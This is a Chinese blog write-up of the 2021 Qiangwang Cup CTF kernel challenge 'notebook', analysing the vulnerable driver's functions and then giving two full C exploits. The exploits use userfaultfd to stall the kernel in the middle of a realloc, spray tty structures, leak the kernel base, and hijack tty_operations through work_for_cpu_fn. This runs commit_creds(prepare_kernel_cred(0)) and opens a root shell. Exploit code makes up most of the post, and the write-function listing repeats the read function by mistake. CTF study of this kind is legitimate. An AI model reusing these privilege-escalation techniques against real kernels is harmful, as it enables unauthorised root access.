2021 强网杯 pwn notebook

本文探讨了一个包含内核保护机制的程序,通过分析notebook模块的函数,如读写、添加和编辑笔记,展示了如何利用内存操作漏洞进行地址泄露和权限提升。重点涉及KPTI、随机化保护和堆栈检查。作者还尝试了栈迁移和劫持系统调用来获取root权限。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

kernal pwn

给了几个文件,然后来看看启动文件

#!/bin/sh
stty intr ^]
exec timeout 300 qemu-system-x86_64 -m 64M -kernel bzImage -initrd rootfs.cpio -append "loglevel=3 console=ttyS0 oops=panic panic=1 kaslr" -nographic -net user -net nic -device e1000 -smp cores=2,threads=2 -cpu kvm64,+smep,+smap -monitor /dev/null 2>/dev/null -s

我们可以看到保护方面开了smep、smap、kaslr。

在这里插入图片描述
开着KPTI。

然后还要注意到显然不是单核单线程程序,那么就要考虑是不是会存在条件竞争这个问题。

内核保护从四个方面出发,分别是隔离、访问控制、异常检测、随机化
隔离分为smep用户代码不可执行、smap用户数据不可访问、KPTI。
随机化也分为kaslr、fgkaslr。

然后解压文件系统,看一下init文件。

mkdir core
cp rootfs.cpio ./core
cd core
cpio -idmv < ./rootfs.cpio 
#cpio是解压指令 -idmv是它的四个参数
#-i或--extract  执行copy-in模式,还原备份档。
#-d或--make-directories  如有需要cpio会自行建立目录。
#-v或--verbose  详细显示指令的执行过程。
#-m或preserve-modification-time  不去更换文件的更改时间

在这里插入图片描述
显然挂载了notebook.ko,还可以输出点字儿。

那我们去看notebook模块
mynote_read函数:

ssize_t __fastcall mynote_read(file *file, char *buf, size_t idx, loff_t *pos)
{
  unsigned __int64 idxx; // rdx
  unsigned __int64 v5; // rdx
  size_t size; // r13
  void *note1; // rbx
  ssize_t result; // rax

  _fentry__();
  if ( idxx > 0x10 )
  {
    printk("[x] Read idx out of range.\n", buf);
    result = -1LL;
  }
  else
  {
    v5 = idxx;
    size = notebook[v5].size;
    note1 = notebook[v5].note;
    _check_object_size(note1, size, 1LL);
    copy_to_user(buf, note1, size);
    printk("[*] Read success.\n");
    result = 0LL;
  }
  return result;
}

就是读。
有个没见过的函数 __check_object_size

/*
 * Validates that the given object is:
 * - not bogus address
 * - fully contained by stack (or stack frame, when available)
 * - fully within SLAB object (or object whitelist area, when available)
 * - not in kernel text
 */
 //这里的注释还是给的比较明显的
 //检查四个问题
 //1、不是虚假地址
 //2、完全包含在堆栈中(或堆栈框架,如果可用)
 //3、完全在 SLAB 对象内(或对象白名单区域,如果可用)
 //4、不在内核文本中
void __check_object_size(const void *ptr, unsigned long n, bool to_user)
{
	if (static_branch_unlikely(&bypass_usercopy_checks))
		return;

	/* Skip all tests if size is zero. */
	if (!n)
		return;

	/* Check for invalid addresses. */
	check_bogus_address((const unsigned long)ptr, n, to_user);

	/* Check for bad stack object. */
	switch (check_stack_object(ptr, n)) {
	case NOT_STACK:
		/* Object is not touching the current process stack. */
		break;
	case GOOD_FRAME:
	case GOOD_STACK:
		/*
		 * Object is either in the correct frame (when it
		 * is possible to check) or just generally on the
		 * process stack (when frame checking not available).
		 */
		return;
	default:
		usercopy_abort("process stack", NULL, to_user, 0, n);
	}

	/* Check for bad heap object. */
	check_heap_object(ptr, n, to_user);

	/* Check for object in kernel to avoid text exposure. */
	check_kernel_text_object((const unsigned long)ptr, n, to_user);
}

mynote_write函数

ssize_t __fastcall mynote_read(file *file, char *buf, size_t idx, loff_t *pos)
{
  unsigned __int64 idxx; // rdx
  unsigned __int64 v5; // rdx
  size_t size; // r13
  void *note1; // rbx
  ssize_t result; // rax

  _fentry__();
  if ( idxx > 0x10 )
  {
    printk("[x] Read idx out of range.\n", buf);
    result = -1LL;
  }
  else
  {
    v5 = idxx;
    size = notebook[v5].size;
    note1 = notebook[v5].note;
    _check_object_size(note1, size, 1LL);
    copy_to_user(buf, note1, size);
    printk("[*] Read success.\n");
    result = 0LL;
  }
  return result;
}

就是写。

noteadd函数

__int64 __fastcall noteadd(size_t idx, size_t size, void *buf)
{
  __int64 v3; // rdx
  __int64 buff; // r13
  note *chunk; // rbx
  size_t size1; // r14
  __int64 v7; // rbx

  _fentry__();
  if ( idx > 0xF )
  {
    v7 = -1LL;
    printk("[x] Add idx out of range.\n", size);
  }
  else
  {
    buff = v3;
    chunk = &notebook[idx];
    raw_read_lock(&lock);
    size1 = chunk->size;
    chunk->size = size;
    if ( size > 0x60 )
    {
      chunk->size = size1;
      v7 = -2LL;
      printk("[x] Add size out of range.\n");
    }
    else
    {
      copy_from_user(name, buff, 0x100LL);
      if ( chunk->note )
      {
        chunk->size = size1;
        v7 = -3LL;
        printk("[x] Add idx is not empty.\n");
      }
      else
      {
        chunk->note = (void *)_kmalloc(size, 0x24000C0LL);
        printk("[+] Add success. %s left a note.\n", name);
        v7 = 0LL;
      }
    }
    raw_read_unlock(&lock);
  }
  return v7;
}

上了个锁之后判断申请的size不能大于0x60
idx的地方不能有东西。

notedel函数

__int64 __fastcall notedel(size_t idx)
{
  note *chunk; // rbx
  __int64 result; // rax

  _fentry__();
  if ( idx > 0x10 )
  {
    printk("[x] Delete idx out of range.\n");
    result = -1LL;
  }
  else
  {
    raw_write_lock(&lock);
    chunk = &notebook[idx];
    kfree(chunk->note);
    if ( chunk->size )
    {
      chunk->size = 0LL;
      chunk->note = 0LL;
    }
    raw_write_unlock(&lock);
    printk("[-] Delete success.\n");
    result = 0LL;
  }
  return result;
}

上了个锁以后释放chunk
size note清空掉。

noteedit

__int64 __fastcall noteedit(size_t idx, size_t newsize, void *buf)
{
  __int64 v3; // rdx
  __int64 buff; // r13
  note *chunk; // rbx
  size_t v6; // rax
  __int64 newchunk; // r12
  __int64 v8; // rbx

  _fentry__();
  if ( idx > 0xF )
  {
    v8 = -1LL;
    printk("[x] Edit idx out of range.\n", newsize);
    return v8;
  }
  buff = v3;
  chunk = &notebook[idx];
  raw_read_lock(&lock);
  v6 = chunk->size;
  chunk->size = newsize;
  if ( v6 == newsize )
  {
    v8 = 1LL;
    goto editout;
  }
  newchunk = (*(__int64 (__fastcall **)(void *, size_t, __int64))krealloc.gap0)(chunk->note, newsize, 0x24000C0LL);
  copy_from_user(name, buff, 0x100LL);
  if ( !chunk->size )
  {
    printk("free in fact");
    chunk->note = 0LL;
    v8 = 0LL;
    goto editout;
  }
  if ( (unsigned __int8)_virt_addr_valid(newchunk) )
  {
    chunk->note = (void *)newchunk;
    v8 = 2LL;
editout:
    raw_read_unlock(&lock);
    printk("[o] Edit success. %s edit a note.\n", name);
    return v8;
  }
  printk("[x] Return ptr unvalid.\n");
  raw_read_unlock(&lock);
  return 3LL;
}

size一样的话无事
不一样的话先走一下realloc
然后判断判断地址是不是有问题

中间只会在size不一样的时候往name里面填点东西
所以说是edit
其实就是一个realloc的过程。

notegift函数,题目直接可以泄露地址

__int64 __fastcall notegift(void *buf)
{
  _fentry__();
  printk("[*] The notebook needs to be written from beginning to end.\n");
  copy_to_user(buf, notebook, 0x100LL);
  printk("[*] For this special year, I give you a gift!\n");
  return 100LL;
}

mynote_ioctl函数:

__int64 __fastcall mynote_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
  __int64 v3; // rdx
  userarg notearg; // [rsp+0h] [rbp-28h] BYREF

  _fentry__();
  copy_from_user(&notearg, v3, 24LL);
  if ( cmd == 0x100 )
    return noteadd(notearg.idx, notearg.size, notearg.buf);
  if ( cmd <= 0x100 )
  {
    if ( cmd == 100 )
      return notegift(notearg.buf);
  }
  else
  {
    if ( cmd == 0x200 )
      return notedel(notearg.idx);
    if ( cmd == 0x300 )
      return noteedit(notearg.idx, notearg.size, notearg.buf);
  }
  printk("[x] Unknown ioctl cmd!\n");
  return -100LL;
}

正常菜单嘛

可以看到创建了线程之后线程正在缓慢的让0x2e0的chunk释放掉。
这是正常情况没有加userfaultfd机制让它卡住。
在这里插入图片描述
再加上机制让他停下来就好
在这里插入图片描述这就是chunk free了但是地址没改的样子

下面的check_object_size检查包含很多内容,包括是不是跨页面,是不是栈地址等等。
但是这里我们只关心它会不会超了。
因为我们size如果是0x2000的话会被检测到溢出。
所以需要noteadd改小一点。

void __check_object_size(const void *ptr, unsigned long n, bool to_user)
{
	const char *err;

	/* Skip all tests if size is zero. */
	if (!n)
		return;

	/* Check for invalid addresses. */
	err = check_bogus_address(ptr, n);
	if (err)
		goto report;

	/* Check for bad heap object. */
	err = check_heap_object(ptr, n, to_user);
	if (err)
		goto report;

	/* Check for bad stack object. */
	switch (check_stack_object(ptr, n)) {
	case NOT_STACK:
		/* Object is not touching the current process stack. */
		break;
	case GOOD_FRAME:
	case GOOD_STACK:
		/*
		 * Object is either in the correct frame (when it
		 * is possible to check) or just generally on the
		 * process stack (when frame checking not available).
		 */
		return;
	default:
		err = "<process stack>";
		goto report;
	}

	/* Check for object in kernel to avoid text exposure. */
	err = check_kernel_text_object(ptr, n);
	if (!err)
		return;

report:
	report_usercopy(ptr, n, to_user, err);
}

然后堆喷申请到tty
判断有没有申请到的条件就是第一个word是不是0x5401

在这里插入图片描述
然后我们需要泄露地址
但是这里我们要注意的是
我们申请的tty结构体因为随机的缘故,不一定是pty还是ptmx。所以需要一个判断,针对是pty还是ptmx做出不同的处理。

两个不同的函数分别是pty_unix98_ops跟ptm_unix98_ops.
我们还是可以通过/proc/kallsyms来获得。
在这里插入图片描述
在这里插入图片描述

然后我们还是试图做一个栈迁移。
这里的栈迁移我看网上方法还是多多的,有的劫持ioctl,有的劫持write,有的先把整个的ops搬走。

在这里插入图片描述我们还是尝试劫持write。

发现rdi是tty结构体地址。
然后找相关gadget做一个栈迁移就行。

但是记得要绕开KPTI

exp

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>

int fd;

void get_shell(void){   
    puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");

    if(getuid())
    {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
    
    system("/bin/sh");
}

struct arg {
    size_t idx;
    size_t size;
    void * buf;
};

void note_add(int idx,int size, void* buf)
{   
    struct arg cmd;
    cmd.idx = idx;
    cmd.size = size;
    cmd.buf = buf;
    ioctl(fd,0x100,&cmd);
}

void note_gift(void* buf) {
    struct arg cmd;
    cmd.idx = 0;
    cmd.size = 0;
    cmd.buf = buf;
    ioctl(fd,0x64,&cmd);
}

void note_del(size_t idx) {
    struct arg cmd;
    cmd.idx = idx;
    cmd.size = 0;
    cmd.buf = 0;
    ioctl(fd,0x200,&cmd);
}

void note_edit(size_t idx, size_t size, void* buf) {
    struct arg cmd;
    cmd.idx = idx;
    cmd.size = size;
    cmd.buf = buf;
    ioctl(fd,0x300,&cmd);
}

void note_read(size_t buf, size_t idx){
    read(fd, buf, idx);
}

void note_write(size_t buf, size_t idx)
{
    write(fd, buf, idx);
}

unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_stats() {
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
        :
        : "memory"
    );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}


void* handler(void *arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long)arg;
	puts("[+] handler created");

	struct pollfd pollfd;
	int nready;
	pollfd.fd      = uffd;
	pollfd.events  = POLLIN;
	nready = poll(&pollfd, 1, -1);
	if (nready != 1)  // 这会一直等待,直到copy_from_user/copy_to_user访问FAULT_PAGE
		errExit("[-] Wrong pool return value");
	printf("[+] Trigger! I'm going to hang\n");

	if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // 从uffd读取msg结构,虽然没用
		errExit("[-] Error in reading uffd_msg");
	assert(msg.event == UFFD_EVENT_PAGEFAULT);
	printf("[+] fault page handler finished\n");
	sleep(1000000000000000000000000);
	return 0;
}

void register_userfault(uint64_t fault_page, uint64_t fault_page_len)
{
	struct uffdio_api ua;
	struct uffdio_register ur;
	pthread_t thr;

	uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // create the user fault fd
	ua.api = UFFD_API;
	ua.features = 0;
	if (ioctl(uffd, UFFDIO_API, &ua) == -1)
		errExit("[-] ioctl-UFFDIO_API");
	ur.range.start = (unsigned long)fault_page;
	ur.range.len   = fault_page_len;
	ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
	if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
		errExit("[-] ioctl-UFFDIO_REGISTER");  //注册页地址与错误处理fd,这样只要copy_from_user
											   //访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号
	int s = pthread_create(&thr, NULL, handler, (void*)uffd); // handler函数进行访存错误处理
	if (s!=0)
		errExit("[-] pthread_create");
    return;
}

void errExit(char* msg)
{
	puts(msg);
	exit(-1);
}

char* buf;
char* mem;
int main()
{   
    save_stats();
    fd = open("/dev/notebook", O_RDWR);

    //create userfaultfd
    mem = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    register_userfault(mem, 0x1000); //create userfaultfd
    
    buf = malloc(0x1000);
    
    //heap spray to tty
    //initizlize
    //chunksize to 0x2e0
    //notebook[0] not use
    for (int i = 1; i < 0x10; i ++) {
        note_add(i, 0x20, buf);
        note_edit(i, 0x2e0, buf);
    }
    //free size tty
    pthread_t p1, p2, p3;
    void add1(int args) {
        note_edit(args, 0x2000, mem);
    }
    void add2(void* args) {
        note_add(args, 0x40, mem);
    }
    for (int i = 1; i < 0x10; i ++)
        pthread_create(&p1, NULL, add1, i);
    
    sleep(5);
    //spray tty
    int tty_fd[0x100];
    for (int i = 0; i < 0x80; i++)
        tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
    
    
    //make the size is ok
    for (int i = 1; i < 0x10; i++)
        pthread_create(&p2, NULL, add2, (void*)i);
    sleep(5);
    
    //check tty is ok
    struct {
    void * buf;
    size_t size;
    } notebook[0x10];
    size_t data[0x200];
    int tty_index = 0, flag = 0;
    note_gift(notebook);
    for (int i = 1; i < 0x10; i ++) {
        read(fd, data, i);
        if (*(int *)data == 0x5401) {
            printf("find tty!\n");
            tty_index = i;
            flag = 1;
            break;
        }
    }

    if (flag == 0) {
        errExit("Fail to find tty");
    }

    // get kernel base
    size_t tty_ops, kernel_base, kernel_offset, prepare_kernel_cred, commit_creds,swapgs_restore_regs_and_return_to_usermode;
    size_t pty_unix98_ops = 0xe8e320, ptm_unix98_ops = 0xe8e440;
    tty_ops = *(size_t*)(data + 3);
    kernel_offset = ((tty_ops & 0xfff) == (pty_unix98_ops & 0xfff) ? (tty_ops - pty_unix98_ops) : tty_ops - ptm_unix98_ops);
    kernel_base = (void*) ((size_t)kernel_base + kernel_offset);
    prepare_kernel_cred = 0xa9ef0 + kernel_offset;
    commit_creds = 0xa9b40 + kernel_offset;
    swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xa00929;
    printf("[*] Kernel offset:0x%llx\n", kernel_offset);
    printf("[+] Kernel base: %p\n", kernel_base);
    printf("[+] prepare_kernel_cred: %p\n", prepare_kernel_cred);
    printf("[+] commit_creds: %p\n", commit_creds);
    printf("[+] swapgs_restore_regs_and_return_to_usermode: %p\n", swapgs_restore_regs_and_return_to_usermode);

    note_add(0, 0x20, buf);
    note_edit(0, 0x400, buf);
    note_gift(notebook);
    size_t heap_addr = notebook[0].buf;
    size_t tty_addr = notebook[tty_index].buf;
    printf("[*] heap_addr:0x%llx\n", heap_addr);
    printf("[*] tty_addr:0x%llx\n", tty_addr);
    
    //hijack tty_operation
    *((size_t  *)(buf+0x18)) = heap_addr;
    note_write(buf, tty_index);
    
    //hijack write
    for (int i = 0; i < 0x10; i ++) {
        *((size_t  *)(buf + i * 8)) = prepare_kernel_cred;
    }
    note_write(buf, 0);


    //get_root
    for (int i = 0; i < 0x80; i++) {
        printf("now ioctl %d\n", i);
        write(tty_fd[i], buf, 233); //ioctl is wrong
    }

}

栈迁移始终还是太麻烦了
找gadget说不定还得ropper半天。

网上大家大都是看着长亭的学习了一种新的方法
我也试一试,学习学习。

也是参考了大佬
notebook

利用的是work_for_cpu_fn函数

struct work_for_cpu {
    struct work_struct work;
    long (*fn)(void *);
    void *arg;
    long ret;
};
static void work_for_cpu_fn(struct work_struct *work)
{
    struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);
    wfc->ret = wfc->fn(wfc->arg);
}

即 rdi + 0x20 处作为函数指针执行,参数为 rdi + 0x28 处值,返回值存放在 rdi + 0x30 处,由此我们可以很方便地分次执行 prepare_kernel_cred 和 commit_creds,完成稳定化提权
与之前不同的是在这里选择劫持 tty_operations 中的 ioctl 而不是 write,因为 tty_struct[4] 处成员 ldisc_sem 为信号量,在执行到 work_for_cpu_fn 之前该值会被更改

在这里插入图片描述在这里插入图片描述然后正确返回。

在这里插入图片描述确实写上了。

在这里插入图片描述
然后可提权
在这里插入图片描述
但是我实际去运行的时候感觉不是很稳定。
经常出现prepare_kernel_creds没有正确返回的情况。

并不是很知道为什么
有知道为啥的大佬带带我

然后我自己把我上面写的exp改了改。
exp

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>

int fd;

void get_shell(void){   
    puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");

    if(getuid())
    {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
    
    system("/bin/sh");
}

struct arg {
    size_t idx;
    size_t size;
    void * buf;
};

void note_add(int idx,int size, void* buf)
{   
    struct arg cmd;
    cmd.idx = idx;
    cmd.size = size;
    cmd.buf = buf;
    ioctl(fd,0x100,&cmd);
}

void note_gift(void* buf) {
    struct arg cmd;
    cmd.idx = 0;
    cmd.size = 0;
    cmd.buf = buf;
    ioctl(fd,0x64,&cmd);
}

void note_del(size_t idx) {
    struct arg cmd;
    cmd.idx = idx;
    cmd.size = 0;
    cmd.buf = 0;
    ioctl(fd,0x200,&cmd);
}

void note_edit(size_t idx, size_t size, void* buf) {
    struct arg cmd;
    cmd.idx = idx;
    cmd.size = size;
    cmd.buf = buf;
    ioctl(fd,0x300,&cmd);
}

void note_read(size_t buf, size_t idx){
    read(fd, buf, idx);
}

void note_write(size_t buf, size_t idx)
{
    write(fd, buf, idx);
}

unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_stats() {
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
        :
        : "memory"
    );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}


void* handler(void *arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long)arg;
	puts("[+] handler created");

	struct pollfd pollfd;
	int nready;
	pollfd.fd      = uffd;
	pollfd.events  = POLLIN;
	nready = poll(&pollfd, 1, -1);
	if (nready != 1)  // 这会一直等待,直到copy_from_user/copy_to_user访问FAULT_PAGE
		errExit("[-] Wrong pool return value");
	printf("[+] Trigger! I'm going to hang\n");

	if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // 从uffd读取msg结构,虽然没用
		errExit("[-] Error in reading uffd_msg");
	assert(msg.event == UFFD_EVENT_PAGEFAULT);
	printf("[+] fault page handler finished\n");
	sleep(1000000000000000000000000);
	return 0;
}

void register_userfault(uint64_t fault_page, uint64_t fault_page_len)
{
	struct uffdio_api ua;
	struct uffdio_register ur;
	pthread_t thr;

	uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // create the user fault fd
	ua.api = UFFD_API;
	ua.features = 0;
	if (ioctl(uffd, UFFDIO_API, &ua) == -1)
		errExit("[-] ioctl-UFFDIO_API");
	ur.range.start = (unsigned long)fault_page;
	ur.range.len   = fault_page_len;
	ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
	if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
		errExit("[-] ioctl-UFFDIO_REGISTER");  //注册页地址与错误处理fd,这样只要copy_from_user
											   //访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号
	int s = pthread_create(&thr, NULL, handler, (void*)uffd); // handler函数进行访存错误处理
	if (s!=0)
		errExit("[-] pthread_create");
    return;
}

void errExit(char* msg)
{
	puts(msg);
	exit(-1);
}

char* buf;
char* mem;
int main()
{   
    save_stats();
    fd = open("/dev/notebook", O_RDWR);

    //create userfaultfd
    mem = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    register_userfault(mem, 0x1000); //create userfaultfd
    
    buf = malloc(0x1000);
    
    //heap spray to tty
    //initizlize
    //chunksize to 0x2e0
    //notebook[0] not use
    for (int i = 1; i < 0x10; i ++) {
        note_add(i, 0x20, buf);
        note_edit(i, 0x2e0, buf);
    }
    //free size tty
    pthread_t p1, p2, p3;
    void add1(int args) {
        note_edit(args, 0x2000, mem);
    }
    void add2(void* args) {
        note_add(args, 0x60, mem);
    }
    for (int i = 1; i < 0x10; i ++)
        pthread_create(&p1, NULL, add1, i);
    
    sleep(3);
    //spray tty
    int tty_fd[0x100];
    for (int i = 0; i < 0x80; i++)
        tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
    
    
    //make the size is ok
    for (int i = 1; i < 0x10; i++)
        pthread_create(&p2, NULL, add2, (void*)i);
    sleep(3);
    
    //check tty is ok
    struct {
    void * buf;
    size_t size;
    } notebook[0x10];
    size_t data[0x200];
    int tty_index = 0, flag = 0;
    note_gift(notebook);
    for (int i = 1; i < 0x10; i ++) {
        read(fd, data, i);
        if (*(int *)data == 0x5401) {
            printf("find tty!\n");
            tty_index = i;
            flag = 1;
            break;
        }
    }

    if (flag == 0) {
        errExit("Fail to find tty");
    }

    // get kernel base
    size_t tty_ops, kernel_base, kernel_offset, prepare_kernel_cred, commit_creds,swapgs_restore_regs_and_return_to_usermode, work_for_cpu_fn;
    size_t pty_unix98_ops = 0xe8e320, ptm_unix98_ops = 0xe8e440;
    tty_ops = *(size_t*)(data + 3);
    kernel_offset = ((tty_ops & 0xfff) == (pty_unix98_ops & 0xfff) ? (tty_ops - pty_unix98_ops) : tty_ops - ptm_unix98_ops);
    kernel_base = (void*) ((size_t)kernel_base + kernel_offset);
    prepare_kernel_cred = 0xa9ef0 + kernel_offset;
    commit_creds = 0xa9b40 + kernel_offset;
    swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xa00929;
    work_for_cpu_fn = kernel_base + 0x9eb90;
    printf("[*] Kernel offset:0x%llx\n", kernel_offset);
    printf("[+] Kernel base: %p\n", kernel_base);
    printf("[+] prepare_kernel_cred: %p\n", prepare_kernel_cred);
    printf("[+] commit_creds: %p\n", commit_creds);
    printf("[+] swapgs_restore_regs_and_return_to_usermode: %p\n", swapgs_restore_regs_and_return_to_usermode);
    printf("[+] work_for_cpu_fn: %p\n", work_for_cpu_fn);

    note_add(0, 0x20, buf);
    note_edit(0, 0x800, buf);
    note_gift(notebook);
    size_t heap_addr = notebook[0].buf;
    size_t tty_addr = notebook[tty_index].buf;
    printf("[*] heap_addr:0x%llx\n", heap_addr);
    printf("[*] tty_addr:0x%llx\n", tty_addr);

    //hijack ioctl
    for (int i = 0; i < 0x20; i ++) {
        *((size_t  *)(buf + i * 8)) = work_for_cpu_fn;
    }
    note_write(buf, 0);

    //hijack tty_operation
    read(fd, data, tty_index);
    memcpy(buf, data, 0x40);
    *((size_t  *)(buf+0x18)) = heap_addr;
    *((size_t  *)(buf+0x20)) = prepare_kernel_cred;
    *((size_t  *)(buf+0x28)) = NULL;
    note_write(buf, tty_index);

    //get_root
    for (int i = 0; i < 0x80; i++) {
        //printf("now ioctl %d\n", i);
        ioctl(tty_fd[i], 0xdeadbeef, 0xdeadbeef);
        //sleep(1);
    }

    //hijack tty_operation
    read(fd, data, tty_index);
    printf("prepare_kernal_cred ret: 0x%llx\n", data[6]);
    memcpy(buf, data, 0x40);
    *((size_t  *)(buf+0x18)) = heap_addr;
    *((size_t  *)(buf+0x20)) = commit_creds;
    *((size_t  *)(buf+0x28)) = data[6];
    note_write(buf, tty_index);
    
    //get_root
    for (int i = 0; i < 0x80; i++) {
        //printf("now ioctl %d\n", i);
        ioctl(tty_fd[i], 0xdeadbeef, 0xdeadbeef); 
        //sleep(1);
    }
    system("/bin/sh");
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值